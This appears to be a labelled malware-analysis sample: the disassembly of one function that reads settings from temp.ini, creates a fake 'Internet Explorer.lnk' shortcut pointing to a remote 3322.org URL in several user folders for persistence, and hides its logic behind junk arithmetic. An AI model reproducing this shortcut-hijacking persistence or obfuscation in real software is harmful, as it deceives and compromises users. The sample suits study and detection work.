Function at 0x408ec0
Capabilities:
Get common file path
Move file
Persist via lnk shortcut
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44c
mov eax, dword [0x43d120]
mov ecx, dword [0x43c0c0]
mov dword [esp + 0x448], eax
mov eax, dword [0x43c0b8]
push ebx
push esi
mov esi, dword [0x43c0b0]
push edi
lea edi, [eax + esi]
mov eax, 0x49f13bb3
imul edi, edi, 0x17928
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
sub edi, eax
imul edx, edx, 0x94046
mov eax, ecx
imul eax, eax, 0x8386f
add edi, edx
mov edx, dword [0x43c0b4]
add edi, eax
mov eax, 0x7c32ca05
imul edx
sar edx, 0xf
mov ebx, edx
add edi, edx
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3e565a5f
imul esi
shr ebx, 0x1f
add ebx, edi
sub ebx, ecx
mov ecx, dword [0x43c0bc]
push str.temp.ini
imul ecx, ecx, 0xff3e
sar edx, 0xe
add ebx, edx
push pe_nt_image_headers32
mov eax, edx
lea edx, [esp + 0x358]
push edx
shr eax, 0x1f
push 0x431bcb
add eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x432118
add eax, ecx
push str.gametool
mov dword [0x43c0cc], eax
call ebx
lea eax, [esp + 0x350]
lea esi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408fc0
sub eax, esi
mov dword [esp + 0x14], eax
jne 0x408fe5
mov ecx, 0xd
mov esi, str.http:__1235633.3322.org_GameJing_Internet_Explorer.lnk
lea edi, [esp + 0x350]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, dword [0x43c0b8]
mov esi, dword [0x43c0b0]
mov edi, dword [0x43c0bc]
sub edi, esi
imul edi, edi, 0xff3e
mov eax, 0x15b86ecf
imul ecx
imul ecx, ecx, 0x107d6
sar edx, 0xd
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x15b86ecf
imul esi
mov esi, dword [0x43c0b4]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x15b86ecf
imul esi
imul esi, esi, 0x106d5
sar edx, 0xd
add edi, edx
mov eax, edx
mov edx, dword [0x43c0c0]
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c8]
imul edx, edx, 0x8386f
sub edi, eax
push str.C:WINDOWS_system321033_sda.txt
add edi, edx
push pe_nt_image_headers32
add edi, ecx
lea ecx, [esp + 0x158]
push ecx
push 0x431bcb
push str.info
lea eax, [edi + esi + 0x79ea]
push str.gametool
mov dword [0x43c0c8], eax
call ebx
lea eax, [esp + 0x150]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4090b0
sub eax, esi
mov dword [esp + 0x14], eax
jne 0x4090e2
push str.C:WINDOWSHelphdger.xml
push pe_nt_image_headers32
lea edx, [esp + 0x158]
push edx
push 0x431bcb
push str.info
push str.gametool
call ebx
lea eax, [esp + 0x150]
push eax
call fcn.00416e25
mov dword [0x4444b8], eax
mov edi, dword [str._r_____r____]
mov ecx, dword [0x43c0b0]
mov esi, dword [0x43c0c0]
mov eax, 0x49f13bb3
imul dword [0x43c0c8]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ebx, [edi + ecx]
imul ebx, ebx, 0x17928
sub ebx, eax
mov eax, 0x49f13bb3
imul esi
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0c4]
imul edx, edx, 0x8386f
sub ebx, ecx
mov ecx, dword [0x43c0b8]
add ebx, edx
mov eax, 0x7c32ca05
imul ecx
sar edx, 0xf
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, ecx
imul edx, edx, 0x107d6
add eax, edx
mov edx, dword [0x43c0bc]
imul edx, edx, 0x796
sub eax, edx
mov ebx, eax
mov eax, 0x3e565a5f
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov eax, 0x4030a4dd
imul ecx
mov eax, 0x1010101
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
sar edx, 0xe
mov dword [esp + 0x38], eax
mov ecx, edx
mov dword [esp + 0x3c], eax
shr ecx, 0x1f
add ebx, edx
mov dword [esp + 0x40], eax
lea edx, [ecx + ebx - 0x107d6]
mov dword [esp + 0x44], eax
add esp, 4
mov dword [0x43c0c4], edx
mov dword [esp + 0x44], eax
xor ebx, ebx
jmp 0x4091f0
mov esi, dword [0x43c0c0]
jmp 0x4091f0
mov edx, dword [0x43c0b0]
mov ecx, dword [str._r_____r____]
mov eax, dword [0x43c0bc]
add ecx, edx
mov edx, dword [0x43c0c4]
imul ecx, ecx, 0x17928
add eax, esi
imul edx, edx, 0xdd94
imul eax, eax, 0xff3e
add ecx, eax
add ecx, edx
mov eax, 0x49f13bb3
imul esi
mov esi, dword [0x43c0ac]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x49f13bb3
imul esi
imul esi, esi, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3e565a5f
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0cc]
imul edx, edx, 0x106d4
add ecx, esi
sub ecx, eax
sub ecx, edx
sub ecx, 0xff3e
test ebx, ebx
mov dword [0x43c0c0], ecx
jne 0x409292
lea eax, [esp + 0x10]
push eax
push ebx
jmp 0x4092e4
cmp ebx, 1
jne 0x4092a0
lea ecx, [esp + 0x10]
push ecx
push 0x19
jmp 0x4092e4
cmp ebx, 2
jne 0x4092ae
lea edx, [esp + 0x10]
push edx
push 0x16
jmp 0x4092e4
cmp ebx, 3
jne 0x4092bc
lea eax, [esp + 0x10]
push eax
push 0xb
jmp 0x4092e4
cmp ebx, 4
jne 0x4092ca
lea ecx, [esp + 0x10]
push ecx
push 0x1a
jmp 0x4092e4
cmp ebx, 5
jne 0x4092d8
lea edx, [esp + 0x10]
push edx
push 7
jmp 0x4092e4
cmp ebx, 6
jne 0x4092ee
lea eax, [esp + 0x10]
push eax
push 0x18
push 0
call edi
mov ecx, dword [0x43c0c0]
mov edx, dword [0x43c0c8]
mov eax, dword [0x43c0ac]
add eax, edx
mov esi, dword [0x43c0b0]
imul eax, eax, 0x107d6
mov edx, dword [0x43c0b8]
add edx, esi
imul edx, edx, 0x17928
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x49f13bb3
imul ecx
mov ecx, dword [esp + 0xc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x49f13bb3
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x43c0ac]
imul eax, eax, 0x8386f
add ecx, eax
mov eax, 0x7c32ca05
imul dword [0x43c0c4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0cc]
sub ecx, eax
mov eax, dword [0x43c0bc]
imul eax, eax, 0xff3e
add ecx, edx
lea ecx, [eax + ecx + 0x107ce]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x48]
push edx
push eax
mov dword [0x43c0bc], ecx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
lea eax, [esp + 0x48]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4093b7
sub eax, ecx
mov dword [esp + 0x14], eax
je 0x409499
mov ecx, dword [0x43c0b8]
mov edx, dword [0x43c0b0]
lea eax, [ecx + edx]
imul eax, eax, 0x17928
mov dword [esp + 0xc], eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov dword [esp + 0xc], edx
mov edx, dword [0x43c0c0]
mov esi, dword [0x43c0ac]
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov eax, esi
imul eax, eax, 0xb4759
add edx, eax
mov dword [esp + 0xc], edx
mov eax, 0x3e565a5f
imul ecx
mov eax, dword [esp + 0xc]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, dword [str._r_____r____]
mov dword [esp + 0xc], eax
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
add eax, ecx
mov ecx, dword [0x43c0bc]
imul ecx, ecx, 0xff3e
push 0
add eax, edx
lea edx, [ecx + eax - 0x107d6]
push 1
lea eax, [esp + 0x50]
push 0
push eax
mov dword [0x43c0b8], edx
call fcn.004085f0
add esp, 0x10
mov dword [esp + ebx*4 + 0x20], eax
inc ebx
cmp ebx, 5
jl 0x4091e5
mov ebx, dword [0x43c0ac]
mov dword [esp + 0xc], 0
mov ecx, dword [0x43c0b0]
mov edx, dword [0x43c0bc]
lea esi, [edx + ecx]
mov eax, 0x49f13bb3
imul esi, esi, 0xbc94
imul dword [0x43c0c0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x43c0bc]
mov edx, ebx
imul eax, eax, 0x7f9f
imul edx, edx, 0x83eb
add esi, edx
mov edx, dword [0x43c0c8]
add edx, ebx
imul edx, edx, 0x8386f
add esi, eax
lea esi, [edx + esi*2 - 0x17928]
mov eax, 0x7c32ca05
imul ecx
sar edx, 0xf
add esi, edx
mov ecx, edx
mov eax, 0x3e565a5f
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ecx, 0x1f
add ecx, esi
sub ecx, eax
mov eax, 0x4030a4dd
imul dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [esp + 0xc]
test eax, eax
mov dword [0x43c0b4], ecx
jne 0x409560
lea ecx, [esp + 0x10]
push ecx
push eax
jmp 0x4095b2
cmp eax, 1
jne 0x40956e
lea edx, [esp + 0x10]
push edx
push 0x19
jmp 0x4095b2
cmp eax, 2
jne 0x40957c
lea eax, [esp + 0x10]
push eax
push 0x16
jmp 0x4095b2
cmp eax, 3
jne 0x40958a
lea ecx, [esp + 0x10]
push ecx
push 0xb
jmp 0x4095b2
cmp eax, 4
jne 0x409598
lea edx, [esp + 0x10]
push edx
push 0x1a
jmp 0x4095b2
cmp eax, 5
jne 0x4095a6
lea eax, [esp + 0x10]
push eax
push 7
jmp 0x4095b2
cmp eax, 6
jne 0x4095bc
lea ecx, [esp + 0x10]
push ecx
push 0x18
push 0
call edi
mov ebx, dword [0x43c0ac]
mov ecx, dword [0x43c0c0]
imul ebx, ebx, 0x862b1
mov edx, dword [0x43c0b0]
lea esi, [ecx + edx]
mov eax, 0x49f13bb3
imul esi, esi, 0x17928
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ebx
sub esi, eax
mov eax, 0x49f13bb3
imul dword [0x43c0b4]
mov eax, dword [0x43c0b8]
imul eax, eax, 0x106d4
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
add esi, eax
mov eax, 0x3e565a5f
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x43c0bc]
imul eax, eax, 0x1fe7c
lea ecx, [esi + eax - 0x17928]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x48]
push edx
push eax
mov dword [0x43c0b0], ecx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
lea eax, [esp + 0x48]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409656
mov ebx, dword [0x43c0ac]
sub eax, ecx
mov dword [esp + 0x14], eax
je 0x409ed9
mov eax, 0x49f13bb3
imul dword [0x43c0c0]
mov eax, dword [0x43c0bc]
sar edx, 0xe
mov ecx, edx
mov edi, eax
shr ecx, 0x1f
imul edi, edi, 0xff3e
add ecx, edx
mov edx, dword [0x43c0b8]
sub edx, eax
mov eax, dword [0x43c0b0]
lea eax, [edx + eax + 1]
imul eax, eax, 0x17928
mov dword [esp + 0x18], eax
mov esi, dword [0x43c0c4]
mov eax, 0x49f13bb3
imul ebx
imul ebx, ebx, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
sub edx, eax
add edx, ebx
mov dword [esp + 0x18], edx
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
sub edx, eax
mov dword [esp + 0x18], edx
mov eax, 0x4030a4dd
imul dword [0x43c0c0]
mov eax, dword [esp + 0x18]
sar edx, 0xe
mov ebx, edx
shr ebx, 0x1f
add eax, edx
add ebx, eax
mov eax, dword [esp + 0xc]
sub ebx, ecx
add ebx, edi
add ebx, esi
cmp eax, 1
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], edi
mov dword [0x43c0ac], ebx
jne 0x409764
mov eax, dword [esp + 0x20]
test eax, eax
jne 0x409ed3
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x409ed3
lea esi, [esp + 0x350]
lea edx, [esi + 1]
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x409750
sub esi, edx
mov dword [esp + 0x14], esi
jne 0x4097d8
jmp 0x409ed3
mov edx, dword [esp + 0xc]
cmp edx, 2
jl 0x409ed3
cmp edx, 5
jge 0x409ed3
mov eax, dword [esp + edx*4 + 0x20]
test eax, eax
jne 0x409ed3
lea esi, [esp + 0x350]
lea eax, [esi + 1]
mov dword [esp + 0x18], eax
mov al, byte [esi]
inc esi
test al, al
jne 0x409794
sub esi, dword [esp + 0x18]
mov dword [esp + 0x18], esi
je 0x409ed3
cmp edx, 4
jne 0x4097d8
lea eax, [esp + 0x48]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4097b5
sub eax, edx
lea edi, [esp + eax + 0x48]
mov ecx, 0xa
mov esi, str.MicrosoftInternet_ExplorerQuick_Launch
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x14]
movsw word es:[edi], word [esi]
mov edi, dword [esp + 0x1c]
mov edx, dword [0x43c0b0]
imul ebx, ebx, 0x94045
mov eax, dword [0x43c0b8]
lea esi, [eax + edx]
mov eax, 0x15b86ecf
imul esi, esi, 0x17928
imul dword [0x43c0c8]
sar edx, 0xd
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, eax
mov eax, 0x49f13bb3
imul dword [0x43c0c4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e565a5f
imul dword [0x43c0c8]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
add esi, ebx
sub esi, eax
mov eax, 0x4030a4dd
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
mov ecx, dword [0x43c0cc]
add eax, edi
lea edx, [eax + ecx - 0x84107]
lea eax, [esp + 0x350]
push 0x2f
push eax
mov dword [str._r_____r____], edx
call fcn.004168c0
add esp, 8
test eax, eax
je 0x409ecd
push str.Internet_Explorer.lnk
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x158]
push str._s_s
push edx
call fcn.0041681b
mov esi, dword [0x43c0b0]
mov eax, dword [0x43c0b8]
mov ecx, dword [0x43c0c0]
lea edi, [eax + esi]
mov eax, 0x49f13bb3
imul edi, edi, 0x17928
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
sub edi, eax
imul edx, edx, 0x94046
mov eax, ecx
imul eax, eax, 0x8386f
add edi, edx
mov edx, dword [0x43c0b4]
add edi, eax
mov eax, 0x7c32ca05
imul edx
sar edx, 0xf
add edi, edx
mov ebx, edx
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
shr ebx, 0x1f
mov eax, 0x3e565a5f
imul esi
add ebx, edi
sub ebx, ecx
mov ecx, dword [0x43c0bc]
imul ecx, ecx, 0xff3e
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
add esp, 0x10
mov dword [0x43c0cc], eax
xor eax, eax
jmp 0x409960
mov cl, byte [esp + eax + 0x150]
mov byte [esp + eax + 0x250], cl
inc eax
test cl, cl
jne 0x409960
lea edx, [esp + 0x250]
push 0x5c
push edx
call fcn.00416170
add esp, 8
test eax, eax
je 0x40999f
inc eax
push 0x5c
push eax
call fcn.00416170
mov edi, eax
add esp, 8
test edi, edi
jne 0x409a82
mov esi, dword [0x43c0b0]
mov ecx, dword [0x43c0b8]
mov edi, dword [0x43c0bc]
sub edi, esi
imul edi, edi, 0xff3e
mov eax, 0x15b86ecf
imul ecx
imul ecx, ecx, 0x107d6
sar edx, 0xd
add edi, edx
mov ebx, edx
mov eax, 0x15b86ecf
imul esi
mov esi, dword [0x43c0b4]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, 0x15b86ecf
imul esi
imul esi, esi, 0x106d5
sar edx, 0xd
mov edi, edx
add ebx, edx
mov edx, dword [0x43c0c0]
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c8]
imul edx, edx, 0x8386f
shr edi, 0x1f
add edi, ebx
sub edi, eax
add edi, edx
add edi, ecx
lea eax, [edi + esi + 0x79ea]
mov dword [0x43c0c8], eax
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x250]
rep stosd dword es:[edi], eax
push 3
lea ecx, [esp + 0x154]
push ecx
lea edx, [esp + 0x258]
push edx
call fcn.00416930
push 0
call fcn.004168ed
push eax
lea eax, [esp + 0x267]
push 0x431e68
push eax
call fcn.0041681b
add esp, 0x1c
jmp 0x409b52
mov esi, dword [str._r_____r____]
mov ecx, dword [0x43c0b0]
lea ebx, [esi + ecx]
mov ecx, dword [0x43c0c8]
imul ebx, ebx, 0x17928
mov eax, 0x49f13bb3
imul ecx
mov ecx, dword [0x43c0c0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0c4]
imul edx, edx, 0x8386f
sub ebx, ecx
mov ecx, dword [0x43c0b8]
add ebx, edx
mov eax, 0x7c32ca05
imul ecx
sar edx, 0xf
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x107d6
shr eax, 0x1f
add eax, ebx
add eax, edx
mov edx, dword [0x43c0bc]
imul edx, edx, 0x796
sub eax, edx
mov ebx, eax
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
lea edx, [ecx + ebx - 0x107d6]
push 0
mov dword [0x43c0c4], edx
call fcn.004168ed
push eax
push 0x431e68
inc edi
push edi
call fcn.0041681b
add esp, 0x10
mov ecx, dword [0x43c0c0]
mov esi, dword [str._r_____r____]
mov eax, dword [0x43c0b0]
mov edx, dword [0x43c0bc]
add edx, ecx
lea edi, [esi + eax]
imul edx, edx, 0xff3e
mov eax, dword [0x43c0c4]
imul edi, edi, 0x17928
imul eax, eax, 0xdd94
add edi, edx
add edi, eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x43c0ac]
mov eax, 0x49f13bb3
imul ecx
imul ecx, ecx, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3e565a5f
imul esi
add edi, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0cc]
imul edx, edx, 0x106d4
sub edi, ecx
lea eax, [esp + 0x250]
push eax
lea ecx, [esp + 0x354]
push ecx
push 0
sub edi, edx
push 0
sub edi, 0xff3e
push 0
mov dword [0x43c0c0], edi
call fcn.004032d0
add esp, 0x14
test eax, eax
jne 0x409e3f
mov ecx, dword [0x43c0ac]
mov edx, dword [0x43c0c8]
mov esi, dword [0x43c0b0]
mov eax, dword [0x43c0b8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x8386f
add eax, esi
imul edi, edi, 0x107d6
mov edx, dword [0x43c0c0]
imul eax, eax, 0x17928
add edi, eax
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x43c0c4]
mov eax, 0x7c32ca05
imul ecx
mov ebx, dword [0x43c0cc]
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3e565a5f
imul esi
sub edi, ecx
mov ecx, dword [0x43c0bc]
sar edx, 0xe
imul ecx, ecx, 0xff3e
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 1
add edi, ebx
lea edx, [ecx + edi + 0x107ce]
lea eax, [esp + 0x154]
push eax
lea ecx, [esp + 0x258]
push ecx
mov dword [0x43c0bc], edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
mov eax, 0x49f13bb3
jne 0x409d81
mov ecx, dword [0x43c0b8]
mov edx, dword [0x43c0b0]
lea edi, [ecx + edx]
imul ecx
sar edx, 0xe
imul edi, edi, 0x17928
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c0]
sub edi, eax
mov esi, dword [0x43c0ac]
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0xb4759
sub edi, eax
add edi, edx
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, dword [str._r_____r____]
mov edx, dword [0x43c0bc]
imul edx, edx, 0xff3e
add ecx, edi
lea eax, [edx + ecx - 0x107d6]
mov dword [0x43c0b8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x409e3f
mov edx, dword [0x43c0c0]
mov esi, dword [0x43c0b0]
imul edx
mov ecx, dword [0x43c0bc]
lea edi, [ecx + esi]
imul ecx, ecx, 0x7f9f
sar edx, 0xe
imul edi, edi, 0xbc94
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x43c0ac]
mov edx, eax
imul edx, edx, 0x83eb
add edi, edx
add edi, ecx
mov ecx, dword [0x43c0c8]
add ecx, eax
imul ecx, ecx, 0x8386f
mov eax, 0x7c32ca05
imul esi
sar edx, 0xf
lea ecx, [ecx + edi*2 - 0x17928]
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3e565a5f
imul ecx
mov ecx, dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0
lea edx, [esp + 0x4c]
sub esi, ecx
push str.Internet_Explorer.lnk
push edx
mov dword [0x43c0b4], esi
call fcn.00404b30
add esp, 0xc
test eax, eax
je 0x409e3f
inc dword [0x4444c0]
mov ecx, dword [0x43c0c0]
mov eax, dword [0x43c0b0]
mov ebx, dword [0x43c0ac]
lea esi, [ecx + eax]
imul esi, esi, 0x17928
mov edx, ebx
imul edx, edx, 0x862b1
add esi, edx
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x49f13bb3
imul dword [0x43c0b4]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0b8]
imul edx, edx, 0x106d4
sub esi, ecx
mov ecx, dword [0x43c0bc]
add esi, edx
mov eax, 0x3e565a5f
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
imul ecx, ecx, 0x1fe7c
lea edx, [esi + ecx - 0x17928]
mov dword [0x43c0b0], edx
jmp 0x409ed3
mov ebx, dword [0x43c0ac]
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 5
mov dword [esp + 0xc], eax
jl 0x4094b1
mov ecx, dword [esp + 0x454]
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret